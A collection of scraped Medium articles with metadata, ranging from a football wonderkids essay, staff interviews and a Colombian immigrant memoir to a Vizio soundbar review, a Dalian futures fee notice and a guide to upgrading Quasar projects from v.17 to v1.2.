Some players also carry the burden of being labelled as “the next (insert world-class player name here)”, and the weight of those expectations can cause them to crumble under the pressure. This is even more apparent given the increased media attention they face, which can add extra pressure and cause the player to struggle to meet those expectations (for example, Hachim Mastour)
Increased competition (due to changing objectives)
Upon promotion to the senior team, a wonderkid is no longer competing with his peers in the youth team for a place in the lineup, but also with other first-team players and rotational players (most teams include a few youth and reserve players in the team sheet as emergency cover and bench warmers).
Additionally, they are also facing more competition from other players worldwide who have similar playing styles or positions. If a manager is unsatisfied with their performance, they can easily replace them with a new rising star or even a key player from another club.
This is because the objectives have changed since the wonderkid was in the youth team. Then, it’s more about giving them opportunities to gauge their abilities and bringing out the best in them. However, the objective of the first team is to win. This encourages the manager to build the best team to achieve that, (over giving debuts to youngsters to build experience) and if it means selling off that player to fund someone better (regardless of experience, technical skills, or pace etc), the manager is likely to do so.
This increased competition means that they might not be able to stand out in contrast to those players, especially since they usually lose out in the experience department. This also ties in similarly with the next factor.
Playing time
Arguably the most important of the factors, playing time is the essential cog in the machine that ensures that youth players get the experience they need to perform when they finally make the starting lineup.
Most managers will give their youths a chance during cup games or “dead rubber” games (games with no consequences regardless of the result), which is where each player has to try their best to impress them. However, those handful of games are usually not enough to aid their growth.
This can cause some of their careers to stall, especially if they’re constantly warming the bench. This is where loan moves come into play, but sometimes dropping down the leagues might also put a cap on their growth and future ability, resulting in them not hitting their potentials.
There is also the case of “overplaying” a player and causing them to hit their peak early, resulting in an earlier decline, possibly before they even reach the heights expected of them (such as Michael Owen, or so he claims).
Hence, this is the most delicate factor that must be accounted for so managers get the most out of each player.
Mentality
Another important factor is the mentality of the youth players when they finally gain promotion to the first team and make their big debut. It’s a huge step up in their career and this can cause them to struggle with nerves when it’s time to step onto the pitch.
Even something as simple as misplacing a pass or letting an opposing player get past is enough for the manager to think twice about giving them another opportunity, and this can cause the player to lose confidence in their ability, sending them into a downward spiral that can be detrimental in the long term.
Most players would be able to overcome this after a couple of games, but if they continue to struggle with their mentality issues, it is unlikely they’ll be making any more appearances for that team.
However, there is also the issue of dealing with media outlets (a factor that affects all players). Wonderkids would gain more media attention due to their young ages, and this can result in scrutiny for their every action, ranging from huge praise if they perform to unforgiving backlash if they don’t. If they are unable to deal with being in the spotlight, the consequences would be similar to the above-mentioned points, and their confidence would decrease along with their form. | https://medium.com/top-level-sports/why-dont-all-wonderkids-succeed-6d0806bb02d0 | ['Dylan Chia'] | 2020-12-22 09:44:28.635000+00:00 | ['Youth Sports', 'Sports', 'Listicles', 'Youth', 'Training'] |
Impossible Minds: William Houser | Our Impossible Minds series profiles the individuals who are building new possibilities for the future across technology, design and culture. This time we talked with William Houser, our Product Designer & Innovation at Impossible, who loves big ideas and is fascinated by the sheer creativity of his peers.
What’s fascinating about your role at Impossible?
While I consider myself a creative person, my creative output is different than those creating UX/UI screens or new products. My creativity comes into play in the interactions I have with my Impossible and client teams. I juggle personalities, political pressure, projects, and personal egos. I strive to cater my approach to each person a bit differently, knowing a true connection can help make both lives easier! What is fascinating about my role at Impossible is seeing the long project road ahead of you and helping those on different teams understand it, bit by bit. Breaking things up into smaller pieces allows for others to digest and clearly see what might be a daunting task. Once we’ve reached the end of the project I take pride in knowing that I helped get that from an idea to something tangible and I am fascinated by the sheer creativity of my peers. Metaphorically, as a Creative Project Manager, I’m the bowling bumpers that help guide the ball (our team/project) to a strike!
What problem are you solving now?
Currently, scope creep. “This will be easy. This will be a simple addition. We have resources.” Many of us have heard these words verberate from sprint syncs and whiteboard sessions. Scope creep is a huge problem that I am constantly trying to address. On the client side, many of the projects I work on have more than one stakeholders. When someone shares their latest idea, I make a note and clearly communicate our purpose and the goals we set from the beginning in hopes of wrangling the conversation back. I want to create a forum where everyone can share ideas but know that the tasks and project at hand are our current focus requiring our utmost attention. Don’t get me wrong, I love BIG IDEAS. The bigger the better! But there is a place and time for them to be thought through. Big ideas can derail crucial meeting minutes.
What are you currently obsessed with and why?
I’m currently obsessed with the entire Bon Appetit YouTube channel and Instagram feed. *drool emoji* Their collection of cooking characters offers insightful tips on a broad range of culinary classics. I suggest you start with Gourmet Makes, It’s Alive, or Trying Everything on the Menu, or my personal favorites Claire Saffitz who makes sourdough look simple and Carla Lalli Music who will sing you her sweet salad dressing — you should see her alphabetized seasoning cabinet!
How do you help change lives? | https://medium.com/impossible/impossible-minds-william-houser-6437e4fac62c | [] | 2020-04-01 17:04:38.046000+00:00 | ['Technology', 'Innovation', 'Startup', 'Technews', 'Design'] |
Being Bi-Cultural Is Like Sitting Between Two Chairs (and why It’s a good thing) | Little me on the left. We’re celebrating my 9th birthday in Medellin, Colombia. Back then, I only sat in one cultural chair. These are the friends I grew up with, and whom I left behind to only reconnect, 20+ years later.
Spending your childhood in one culture, and your teenage years in another, imbues you with the power of seeing life through more than one lens. With this gift, you realize the power of choice.
Medellin, Colombia
I grew up in the small and bustling city of Medellin, Colombia. People from my city are known as “Paisas,” and they’re considered by other Colombians to have a notorious sense of regional pride and distinct culture.
The word Paisa means a conglomerate of things to people. A Paisa is entrepreneurial, optimistic, and a world wanderer. Most noteworthy, Paisas deeply live the value of hard work; so much that our ancestors invented a colloquial word widely used today — berraco — to express their unique sentiment for “tenacious work” and “positive resilience.” In other words, someone who intentionally chooses to take herself through any challenge with hard-work and an impossibly positive attitude.
I witnessed berraquera everywhere growing up in Medellin. Starting with my maternal grandparents, who raised 13 children (not a typo) on a remote farm in the middle of the Andes mountains, where the closest town was three hours by horse.
Imagine trekking down these mountains for three hours to arrive at Pueblo Rico to sell your coffee beans. My grandfather did this once a month. It took him and his mules three hours to arrive!
Even more incredible is story of my uncle, Alberto, who at thirteen years old left the family farm and migrated to Venezuela to find work, save up, and accomplish the goal of relocating his entire the family to Medellin, where they could have better access to resources, education, and opportunity. He worked grueling labor in diamond mines until he had saved enough to buy a home in Envigado (a neighborhood of Medellin), and move all the children, my mother included, to Medellin.
These stories of incredible spirit persisted and spread among the children too. Take my aunt, Luisa, who I consider my second mother, as another beacon of resilience. Out of all the 13 children, she was one of the very few who was able to graduate from high school, obtain a college degree, and earn a PhD. She did this working throughout her entire middle school and high school years to finance her own education. Can you imagine your eight-year-old today child waking up at 4 am to cook and clean for students in her school in order to finance her own education?
What’s even more amazing is that she did this by lifting others too. The lucky benefactor of this life commitment to berraquera was my mother, Aura. She too finished school thanks to the financial support from my aunt’s savings.
Paisas also embody the values of entrepreneurism. The best way I can describe it is an innate understanding that the world is malleable; with a little bit of luck, an abundance of discipline and resilience, you can shape-shift reality to what your mind envisions.
An old photo of Itagui, Medellin. My childhood home is in front of the white vehicle at the top of the hill.
I can’t think of a better example of the value of entrepreneurialism than my own mother who started her own enterprise in the neighborhood of Itagui (in Medellin). She called it “Marbella.” I witnessed my mother work tirelessly to lift the business from a simple idea to a well-oiled machine. She always embodied such a positive light and strength despite what life threw at her.
It was also my mother who showed me the spirit of adventure when she decided to venture to the United States when we lost absolutely everything we owned to the chaotic violence, instability, and financial recession in Colombia.
How does a woman raised in the mountains make the decision to move to a country that she had only visited once? Motivation: her children. Source of strength: her values. She grew up seeing herself as a wanderer and a berraca, just like her parents before her.
My mother arrived in Boston, MA with a photo, a name, and the hope her friend’s daughter would show up. It took her two years to save up enough to pay our airfare. Yes, she did not see her two children throughout those two years. Meanwhile, my brother and I moved in with the very aunt, Luisa, who had paid for my mother’s education. Life has a way of creating these beautiful story circles across generations.
Next in the generational line comes my brother and I, also embodying the very values we saw in the people we loved. We arrived in New England, with one luggage filled with a summer’s wardrobe, in the middle of November in the early 2000’s.
I don’t know how else we would have “avoided” an almost irreparable amount of emotional scarring if we had not been raised with the values of “positive-resilience,” hard-work, discipline, and the spirit of adventure. In the midst of all the confusion, nostalgia, and challenges, we always had this irrational confidence that we would eventually be okay.
Back to the start of the story — so how does living in the U.S and learning a different lens teach us the power of choice?
Well, for one, I learned that hard work is a solid foundation, but at its peak of success, it is married to long-term planning and strategic thinking. The world is but a massive system that can be broken down to small pieces. Understanding the levers within such systems enables you to work smarter, not harder. It also enables you to sequence out which lever to pull first.
I also learned that loneliness was a big societal challenge in the United States. Part of the root cause, I’d argue, is the weight independence has in American society. Aging adults are one of the most affected generations. Would I be able to sleep at night knowing my parents experienced loneliness?
I made the intentional choice that my life was not independent from my mother’s, regardless of how well-accepted it is within American society. Each choice is so personal for each family. Each choice so precious. This is the choice that worked for us. I instead worked closely with my brother and his family to define appropriate boundaries of financial and emotional support. Don’t tell our mother, but we very intentionally embedded her in grandma duties to fight this common “illness”. Today, her time is spent volunteering at a non-profit and spending time with Celeste, my niece. She beams with joy.
There is an analogy that being bi-cultural is like sitting between two chairs: You want to sit in one but neither captures your full essence and authentic self.
I think there is some truth to this statement; once you learn to see through more than one lens you can no longer deny the existence of other equally valid points of views. For me, and others like me, this means that the concept of “home” somehow feels foreign. Paradoxically, home could be anywhere, and nowhere at the same time.
I would argue, however, that within the tension the gift of choice is born.
I am thankful for having been gifted this special power. I can shape shift and code switch from my American and Colombian self depending on where I am. In Latin America, I lean more into my Colombian side to deeply connect to other countries with a lens closer to theirs.
When I am in the United States and other parts of the Western world, I lean towards my American culture. I sit and plan my life long-term, often mirroring what I witness in the way our communities are organized. This longer-term planning is apparent in how cities are designed, the longer-term investments the U.S makes to advance a specific field, and even the access to credit that eventually creates more jobs.
Perhaps the concept of sitting between two chairs can be slightly reframed to two chairs literally next to each other, with no space in between. You actually have more space you can use in your favor; you can shift a little to the left or a little the right. As long as you’re in your chairs, you are your authentic you.
#hispanicheritagemonth #paisa #colombia #ourstories #Iamanimmigrant BeVisible Latinx Latinx Hispanic Latino News Netw | https://medium.com/@melissa-s-marin/being-bi-cultural-is-like-sitting-between-two-chairs-and-why-its-a-good-thing-193e8d938e0a | ['Melissa Marin'] | 2020-10-16 23:55:47.767000+00:00 | ['Latinx', 'Colombia', 'Diversity And Inclusion', 'Diversity In Tech', 'Hispanic Heritage Month'] |
Meet Sue Zheng, BlackRock Tech Fellow and Lead Engineer for Aladdin Trading | Sue Zheng, BlackRock Tech Fellow and Lead Engineer for Aladdin Trading talks about her experience as an engineer innovating the Aladdin platform over the last 20 years.
This year marks the 20th anniversary of BlackRock delivering Aladdin externally to clients, and you’ve been around since the beginning. Did you ever think you’d be at the same company for that amount of time?
When I started, BlackRock was a small shop doing fixed income only. 20 years ago, Aladdin, BlackRock’s investment management technology used both internally and delivered externally to other financial institutions, looked very different. Back then, I thought I’d probably work here for five years or so and then move on. The thing is, BlackRock innovates so much and so often that it feels like a new company every five years. New challenges are always popping up and we’re constantly finding new ways to meet client needs. We’re still pioneering in the field and in that way, it still feels fresh.
How are you pioneering today?
The Aladdin platform has offered cutting edge technology to traders for years. As the engineering lead for Aladdin Trading, I’m responsible for the transformation that allows traders to seamlessly scale up to support record volume and growing complexity. The resilience and stability of our centralized platform was crucial for traders at BlackRock and traders at our Aladdin clients to successfully work remotely during the unprecedented COVID-19 pandemic. Our latest focus includes Automated Order Routing (AOR) that allows traders to script sophisticated rules to create automation and free themselves up to focus on more difficult to trade orders. This also promotes the “citizen developer” movement, providing users the ability to self-service through code.
What do you like about working on Aladdin?
Aladdin is truly a multi-asset platform technology. When designing a solution, we must be thoughtful about extending it to cover multiple asset classes while still catering to asset class specific nuances at the same time. It’s an interesting balancing act and it’s part of BlackRock’s DNA. We like to challenge ourselves in thinking beyond original requirements to come up with a holistic solution that benefits the broader community. It’s great to see my work scale in that way.
As an engineer, what made you choose BlackRock?
I studied computer science and economics in college, so working at BlackRock was at the intersection of both those interests. What I liked about BlackRock from the beginning was that I was really encouraged to try different things and to get into the mind of the user. If there is a requirement, we don’t just build to the requirement, we must think about what problem that requirement was designed to solve. And if we can find a better way to solve that problem, we have the freedom to try it.
From the beginning, I noticed that by putting myself in the shoes of the users of Aladdin, I’m able to understand the problem better and be more confident in my solution. Sometimes that allows me to see problems and opportunities before users even report them. For example, one of my very first projects as a software engineering analyst at BlackRock was to build a generic search tool across the various Aladdin data sets. In testing the tool, I found that it was extremely cumbersome to navigate a large result set. So even though it was not part of the spec, I did some research and figured out how to add a floating header and dynamic aggregation to the result set so that I would have a better user experience when I used the tool myself. That was when I began to learn to bring empathy into the design process, which is a fundamental pillar of engineering at BlackRock.
What does it mean to be a Tech Fellow?
I have been an engineer at BlackRock my whole career, so the designation and recognition as a Tech Fellow is an honor and a responsibility. The title was awarded to 13 technical leaders at BlackRock earlier this year for our expertise, leadership, and mentorship of engineers. A key responsibility for a Tech Fellow is commitment to technical excellence while driving tangible outcomes. As I noted above, BlackRock continues to innovate in the financial services industry and this Tech Fellow cohort provides technical vision and leadership for our ongoing transformation as a leader in financial services technology.
In addition to our contribution as technical leaders at BlackRock, this group also continues to mentor technical talent across the firm and promote our strong culture of engineering.
What do you look forward to with your career building Aladdin?
We’ve done an incredible amount of innovation for clients over the past twenty years, but there are many opportunities in front of us to do even more. I’m involved in some exciting initiatives that will truly transform our industry, including the Aladdin Whole Portfolio view that combines public market and private market investing, increased adoption of automation through our AOR tools, re-architecting of our core trading platform. I’m looking forward to continuing our push to be the industry leading multi-asset platform and to pass along my experience to our engineering community. | https://medium.com/blackrock-engineering/meet-sue-zheng-blackrock-tech-fellow-and-lead-engineer-for-aladdin-trading-53a8f39a68dd | [] | 2020-09-15 03:49:38.820000+00:00 | ['Trading', 'Trading System', 'Engineering Career', 'Mentorship', 'Tech Fellows'] |
Ten Years Of Bitcoin — A Celebratory Competition | Of course many of us here in this space are eternally grateful to Satoshi Nakamoto be him/her a person or group, for they planted an idea in motion that we all know is unstoppable and harnessed correctly the world will benefit from it. At The Golden Horde we’re wanting to celebrate today, the tenth anniversary by simultaneously announcing an exclusive piece of art and also giving the community an opportunity to win the first ever of this piece created, our design aptly named “From The Heavens”. On top, if this wasn’t enough to wet the appetite we’ll be sending the winner a limited edition White Paper Version of the Ledger Nano S which was announced and released by Ledger today.
The way to win this piece and Ledger is simple, we’re looking to expand our network of contacts on Twitter and to get in touch with you lovely lot, we feel our TGH_Society account is a good place for people to reach out to and we’re looking to connect with more crypto minded Twitter users! In order to get a chance to win the design follow these rules:
The competition will close two weeks from now on the 14th November so make sure to spread the competition far and wide and stay up to date with everything The Golden Horde! | https://medium.com/the-golden-horde-blog/ten-years-of-bitcoin-a-celebratory-competition-b8ea19307e40 | [] | 2018-10-31 12:25:02.763000+00:00 | ['Crypto', 'Bitcoin', 'Competition', 'Cryptocurrency', 'Blockchain'] |
Vizio Elevate review: This Dolby Atmos soundbar’s swiveling drivers are no gimmick | A soundbar with motorized, swiveling drivers that bounce the audio cues in Dolby Atmos and DTS:X soundtracks off your ceiling? Sounds like a gimmick, right? Well, the concept works splendidly in the Vizio Elevate, a 5.1.4-channel soundbar that delivers big, bold, and exciting sound that will thrill mainstream users, even if audiophiles might find its subwoofer be a bit over the top.
Because its four front height drivers (two additional height drivers are in the surround speakers) can swivel up for Dolby Atmos and DTS:X content or down for standard 5.1 or stereo audio, the Elevate always makes the most of its available drivers. Also on board is built-in Chromecast and DTS Virtual:X (for those who want or need it), as well as three HDMI ports and eARC support.
ConfigurationThe Elevate is a 5.1.4-channel soundbar, which means you’re getting left, right, center, and left/right surround channels (the “5” in the Elevate’s 5.1.4 audio configuration), two front and two surround height channels (the “4”), and low-frequency effects (the “1”). Those four height channels supply the height cues in Dolby Atmos and DTS:X soundtracks by bounding sound off your ceiling—an easier, less expensive alternative to height speakers that are actually in your ceiling.
What makes the Elevate unique is that it doesn’t need to be a 5.1.4-channel soundbar at all times. If you wish, you can set those upfiring drivers to swivel (manually or automatically) so they fire forward to bolster the left- and right-channel drivers. Those, in turn, switch roles from being woofers to mid-range drivers for a more robust—and traditional—5.1-channel configuration. We’ll go into more detail about the Elevate’s swiveling height drivers in a moment.
This review is part of TechHive’s coverage of the best soundbars. Click that link to read reviews of competing products, along with a buyer’s guide to the features you should consider when shopping.
Ben Patterson/IDG The Vizio Elevate’s height drivers can rotate into forward-firing position to boster the left and right channels.
In the main soundbar unit, the left, right, and center channels each get a pair of 43 x 60mm woofers, a 20mm tweeter, and a passive radiator. The rotating height drivers each get a single 44 x 99mm woofer and a 20mm tweeter. A pair of discrete surround speakers, which are connected to the wireless subwoofer by a pair of 25-foot cables, get a forward-firing 54mm driver and an upfiring 50mm driver, while the sub comes equipped with a down-firing 203mm cone. The Elevate’s various drivers are powered by a series of 13 Class D amplifiers, including 8 in the main soundbar and five in the subwoofer.
Design Samsung Q90T 4K UHD TV (55-inch model) Read TechHive's reviewSee it With its anodized aluminum shell, swiveling drivers, and oval-shaped profile, the Elevate cuts a fine figure. The front soundbar drivers sit in a perforated tube that’s attached to the main soundbar housing, with the tube capped by the swiveling drivers.
When the soundbar goes into “Elevate” mode (either because it has detected Atmos or DTS:X audio, or because you’ve manually set the soundbar to “Up” mode), motors in the tube swivel the height drivers into their upfiring position, revealing the Atmos and DTS:X logos on either side of the soundbar. The sight and sound of the motorized drivers swiveling into position serves as a nifty cue that you’re about to hear immersive 3D audio.
Measuring 48 x 7 x 2.5 inches and weighing about 12 pounds, the main Elevate soundbar unit is a hefty piece of hardware, and it was tall enough to block a tiny sliver of my 55-inch LG C9 OLED TV. Luckily, the Elevate can be mounted on a wall (mounting brackets and a guide are included), or it can be docked underneath one of Vizio’s new OLED TVs. Meanwhile, the 6 x 4 x 2.75-inch surround speakers are compact enough to (for example) place them on shelves behind your sofa, and they’re also wall-mountable (here again, wall mounts are included).
As I mentioned earlier, the surround speakers connect to the bulky subwoofer (16 x 11 x 13.75 inches) with a pair of 25-foot cables, a fact that might complicate your positioning of the sub. Because the subwoofer is wired to the surrounds, one might be inclined to keep the sub near your sofa, although doing so means you’ll be feeling some pretty serious bass (you can always dial back the subwoofer’s volume level, as we’ll discuss momentarily). Another option would be to put the subwoofer closer to the TV—low-frequency effects are much less directional than other sounds—but then you’ll need to string those 25-foot cables (hey, at least they’re plenty long) across your entertainment room to reach the surrounds.
Vizio The Vizio Elevate comes a beefy subwoofer and surround speakers with upfiring drivers in addition to the soundbar itself.
Inputs and outputsThe Elevate offers a generous collection of inputs: There’s an optical (Toslink) input and a pair of 3.5mm audio jacks in a rear cavity on the left-hand side of the soundbar. One of these analog inputs is intended to accommodate a smart speaker (an Amazon Echo Dot, for example, which has a matching 3.5mm audio output), while the other is for connecting to the analog stereo RCA outputs on a TV.
A trio of HDMI ports, one of which supports HDMI eARC, are located in a cavity on the right-hand side of the Elevate. ARC (Audio Return Channel) allows digital audio from your TV to travel down the HDMI cable to the soundbar, and eARC is an enhanced version with higher bandwidth to support lossless high-resolution audio formats such as Dolby TrueHD and DTS-HD Master Audio. You can read all about ARC and eARC in this story.
Ben Patterson/IDG The Elevate comes with three HDMI ports, one of which supports eARC, making it an excellent speaker Blu-ray aficionados.
Your TV will need to support eARC to take full advantage of it, however, and that applies only to TVs manufactured in the past couple of years. Vizio was therefore wise to provide two additional HDMI ports, so you can connect a Blu-ray player or a set-top box directly to the soundbar without needing to worry about passing the audio from those sources through your TV in the first place.
LG OLED65E9PUA 4K UHD TV (65-inch model) Read TechHive's reviewMSRP $4,299.00See it Vizio is also generous when it comes to including cables in the box. In addition to an HDMI cable (which too many soundbar manufacturers tend to skip, even with their priciest models), you get an optical cable, a 3.5mm-to-3.5mm audio cable, and a 3.5mm-to-stereo-RCA cable. Vizio even throws in four cable ties for good measure, along with the usual power and speaker cords.
SetupThe main Elevate soundbar comes pre-paired to the wireless subwoofer, and for me, the units connected automatically as soon as I powered them on. If they don’t connect, you can always pair them manually using the included remote.
Next, it’s time to connect the Elevate to Wi-Fi with help from Vizio’s SmartCast mobile app. Once the app “discovers” the Elevate, it’ll step you through the process of connecting to the soundbar’s temporary local Wi-Fi signal; after that, you’ll need to pick your home Wi-Fi network from a list of available networks and enter your network password. After a minute or so of testing, the Elevate—fingers crossed—should be connected to your Wi-FI.
Buttons, remote, and app controlThe Elevate has buttons for power, input select, Bluetooth, and volume up/down on its right-hand end cap. Its remote control has a four-way navigational pad and dedicated buttons for input select, power, and mute. The remote also lets you dip into the Elevate’s various EQ presets and sound modes, as well as adjust the various speakers levels. But while the remote has a one-line display, it isn’t backlit, so you’ll need to turn the lights on to dive into the menus, and clicking though all those menu trees can be tedious.
Ben Patterson/IDG Vizio’s SmartCast app frequenty lost its connection to the Elevate, even though the soundbar was still connected to Wi-Fi.
Besides the remote, you can also tweak the Elevate’s settings using Vizio’s SmartCast app. The sliders and toggles in the SmartCast app make it much easier to control the Elevate’s settings than the somewhat clunky remote. The SmartCast app, however, repeatedly insisted that it “could not connect to sound bar,” even when the Elevate was clearly still connected to my Wi-Fi network. Tapping the “Try Again” button once or twice generally cleared up the problem, but still, it was an annoying issue.
Chromecast and voice assistant supportThe Elevate doesn’t natively support any music services or act as a Spotify Connect device, but it does support Chromecast, which means you can cast audio to the soundbar from any supported Chromecast-enabled app. I performed most of my music testing by casting Spotify tunes to the Elevate via Chromecast, although I could have also streamed music from other Chromecast-enabled apps such as Tidal or Qobuz. (I should note that despite my SmartCast app connection problems, I never had any issues with Chromecast streaming.) Another option is to stream audio to the soundbar via Bluetooth, or you can play WAV files from a USB storage drive.
The Elevate isn’t a smart speaker, and it can’t be controlled with voice commands. The Elevate does let you connect a smart speaker to the soundbar via either Bluetooth or a dedicated 3.5mm audio input. Pair something like an Amazon Echo Dot or Google Nest Mini with the Elevate, and the soundbar will act as a speaker for your favorite voice assistant. Summon Alexa or Google Assistant while you’re watching a movie, and the Elevate will lower the volume while you’re chatting. Just keep in mind that you won’t be able to ask Alexa or Google Assistant to, say, adjust the Elevate’s volume or switch sources.
Ben Patterson/IDG Vizio’s remote control is pretty basic and it’s not backlit.
Audio modesLike most soundbars, the Elevate comes with a collection of EQ presets—Movie, Music, Game, and Direct—which make audio adjustments such as adding a bit of sizzle to the sound for Movie mode, or flattening the frequency response for Music mode. Gaming mode dials down the low-frequency effects to give gamers a better sense of spatial awareness, while Direct mode doesn’t apply any EQ at all.
Adding a new wrinkle to matters are the Elevate’s swiveling height drivers, which have their own “Elevate” settings on the remote and in the SmartCast app. Three settings are available: Up, Wide, and Auto. In Up mode, the height drivers stay in upfiring mode, and all audio—from 2.0- to 5.1-channel sound—is upconverted to 5.1.4. In Wide mode, the height drivers stay in forward-firing mode; 5.1 and 2.0 content is presented as-is, while Dolby Atmos and DTS:X audio is remixed for 5.1. Finally, in Auto mode, the Elevate automatically swivels the height drivers depending on the audio content that it detects. For Atmos and DTS:X, the height drivers swivel up; for everything else, the height speakers rotate to a forward-firing position.
Besides the various “Elevate” settings, there’s also a Surround Sound mode, which only serves to toggle the surround speakers on and off while remixing the sound to compensate for the missing channels (so, for example. 5.1.4 audio would get downmixed to 3.1.2). Why would you want to turn those surround speakers off? Well, it turns out that there are a surprising number of 5.1-and-up soundbar users who (for a variety of factors) don’t use the surround speakers that come bundled in the box, and Vizio wanted to give such users a setting that would mix their sound correctly.
A final sound mode option is DTS Virtual:X, a mode that delivers virtual 3D sound including height cues, without the need for surround speakers or upfiring drivers. Again, why would you ever use the DTS Virtual:X setting, given that the Elevate has surround and height speakers? This is for Elevate users with ceilings that are too high, too low, vaulted, or otherwise unsuitable for the bouncing-sound-off-the-ceiling trick. Since my ceiling is adequate for upfiring drivers, and I’m not a huge fan of DTS Virtual:X (it sounds a little harsh and over-processed for my taste), I kept the setting off. It’s great to have the option if you need it.
Click here to read about the Vizio Elevate’s audio performance | https://medium.com/@david43238676/vizio-elevate-review-this-dolby-atmos-soundbars-swiveling-drivers-are-no-gimmick-53bf8d136f0d | [] | 2020-12-25 02:28:22.481000+00:00 | ['Internet', 'Surveillance', 'Music', 'Services'] |
DCE:Notice on Charging the Order Submission Fee for RBD Palm Olein Futures Contracts | According to Article 38 of Measures for Clearing Management of Dalian Commodity Exchange, Exchange will collect the order submission fee for RBD Palm Olein futures, starting from the trading on December 23th, 2020 (namely, starting from the night trading session on December 22th,2020).
1. Applicable Object
Clients and non-futures company members who meet the submission fee threshold and daily traded more than 600 lots on RBD Palm Olein futures contracts. Market makers are exempt from order submission fee for market-making purpose.
2. Charging Standard
The order submission fee is charged daily, and the specific standards are as follows:
Order Submission Fee = the total lots placed on RBD palm olein futures contracts of non-futures company members or clients on the day × the charging standard of the day.
Message Count = Order Submission Count+ Order Cancellation Count
OTR = Number of Orders /Traded Volume -1
For clients who have multiple trading code at different Futures Brokers, or clients and non-futures company members who have actual control relationship, the exchange shall calculate order submission count, order cancellation count, lots of orders, lots of order cancellation, traded volume and other indicators on a consolidated basis.
3. Collection Method
The submission fee shall be deducted from the member settlement reserve at the time of daily settlement.
4. Other Matters
In order to implement the above business, members shall complete the system upgrade before December 23th, 2020. For more details of the system upgrade, please confirm with the relevant system suppliers.
For China derivatives market access and more market information please contact [email protected]
For more China derivatives market news please visit FangQuant | https://medium.com/@qmhedging/dce-notice-on-charging-the-order-submission-fee-for-rbd-palm-olein-futures-contracts-c0bc4c01a73f | ['Market Bridge Consulting'] | 2020-12-23 09:07:27.068000+00:00 | ['Futures Trading', 'Derivatives', 'Agriculture', 'China Financial Market', 'Palm Oil'] |
Porting Quasar v.17 to v1.2 | Tips and Tricks to upgrading to the latest and greatest Quasar version!
Photo by Irvan Smith on Unsplash
At work, I just finished upgrading/porting a 17k+ lines of code Quasar SPA project from v.17 to the latest v1.2. This took just over a week (52 hours logged).
In this article, I will give you information to help you port you your own projects. Hopefully, they are not as big as mine was, so your time to completion will be faster.
First of all, Quasar v1.2 is spectacular. The code in version 1.X has been rewritten since v.17. It is faster and more suitable for development with many more components. And, there still is the added benefit of using the Quasar CLI, where a lot of the difficult grunt work of setting up and building cross-device applications is done for you.
First Steps
Before starting on your conversion journey, you should familiarize yourself with the Quasar Upgrade Guide. This contains valuable information and is a good reference should you get stuck.
The first thing to do, if you haven’t already done it, is to remove the old global Quasar CLI.
$ npm remove -g quasar-cli
The next thing to do is to install the global Quasar CLI (if you haven’t already).
The Quasar team recommends using npm for your global package management and yarn for your local package management. There have been many issues reported with npm and local packages. We’ve noticed, once people start using yarn these issues go away.
If you’ve read the Quasar Upgrade Guide, it recommends doing your port in-place. From personal experience, I do not recommend this route. Instead, we will be creating a new Quasar project and porting all the code from your old project to your new project.
So to begin with, create your new project:
$ quasar create <project-name>
Once the project has been created, go ahead and open it up with your favorite editor and start reviewing it. Have a quick look at the scaffolding. We’ll get into how scaffolding has changed and how to deal with those changes in just a moment.
Now add in all of your dependent packages that you had in your previous project. Make sure you use yarn, but if you feel you need to use npm, go ahead. If something goes wrong, you can’t say I didn’t warn you.
Scaffolding
One thing you may have noticed is that the plugins folder is missing and now there is a new boot folder. Aside from that, the folder structure has remained the same. The reason for the renaming of the plugins folder is to avoid confusion with Quasar’s own internal Vue plugins, which is also named plugins.
Boot Files — (from the Quasar docs)
Boot files fulfill one special purpose: they run code before the App’s Vue root component is instantiated while giving you access to certain variables, which is required if you need to initialize a library, interfere with Vue Router, inject Vue prototype or inject the root instance of the Vue app.
If you have any plugins from your previous project, convert them now to boot files. The operation of a boot file is the same as the old plugin files, with the only difference being, they can also be ran asynchronously.
You can create a boot file using the Quasar CLI:
$ quasar new boot <name>
Create the equivalent boot files in the new project and port the code over from your old plugins. This will allow you to see how the boot file anatomy has changed, in case you need to take advantage of it.
quasar.conf.js
This file has relatively remained unchanged, except for a few things. The important one of note is that the “plugins: []” property has logically changed to “boot: []” to follow the folder structure change. This is where you put your boot file names, so Quasar can recognize them and add them to the build.
Porting
Before porting, here are a couple of things to look out for:
1. Look at the default layout that was created in the layouts folder. For this file, you may or may not want to drop your old layout file on top of it. If you notice too many changes, you may want to port this file by hand.
2. Look at the files in the routes folder. Again, this is one of those areas that may be better if you cherry-pick your old code and put it into the new code.
For all other files, it’s OK to drop them into their respective locations. I like to use an application called Meld, but if you are on Windows, feel free to use WinMerge. They are very similar.
eslint-plugin-quasar
The eslint-plugin-quasar (an eslint plugin) was created with some rules to help you do the porting. Let’s install the plugin and set up those rules.
$ yarn add -D eslint-plugin-quasar
The following changes need to be made to your .eslintrc.js configuration file.
Modification to the plugins section:
{
“plugins”: [
“quasar”
]
}
Modification to the extends section:
{
“extends”: [
“plugin:quasar/legacy”
]
}
Modification to the rules section:
{
“rules”: [
‘quasar/no-legacy-components’: ‘warn’,
‘quasar/no-legacy-css’: ‘warn’,
‘quasar/no-legacy-directives’: ‘warn’,
‘quasar/no-legacy-properties’: ‘warn’
]
}
Be sure to save the changes. (Note: Medium changes the quotes, so if you copy and paste, be sure to change the quotes properly to avoid errors)
Quasar adds a script command in your package.json file that helps you with the linting, so you can run it now.
$ yarn lint
The Grunt Work
After running the linter, you will see a lot of warning messages. Some will be about components that were renamed, some that don’t exist anymore, etc. The eslint-plugin-quasar will make recommendations. Most of these you can carry out by renaming the component by hand. You should look at each warning and the corresponding component in the Quasar docs and verify this is what you want to do.
Here is an example:
/home/me/my-project/src/pages/About.vue
3:5 error ‘q-window-resize-observable’ has been removed
12:17 error ‘q-resize-observable’ has been replaced with ‘q-resize-observer’
32:17 error ‘q-progress’ has been replaced with ‘q-linear-progress’
261:19 error ‘q-popover’ has been replaced with ‘q-menu’
I ran into a situation, where I wasn’t quite sure what I wanted to do. So, I blocked out the code with a comment and tagged it with TODO: port, so I could easily search for it and revisit it at a later time.
Keep running the linter and making the appropriate modifications until there are no more warnings or errors.
Quasar v1.2
Once you have converted all of the legacy code, it’s time to turn on some eslint rules for Quasar v1+.
Once again, open the .eslintrc.js file.
Modification to the `rules` section:
{
“rules”: [
‘quasar/check-valid-props’: ‘warn’,
‘quasar/no-invalid-qfield-usage’: ‘warn’
]
}
Again, run the linter:
$ yarn lint
Yep, a whole new set of warnings to deal with. Most of these will be properties that don’t exist anymore.
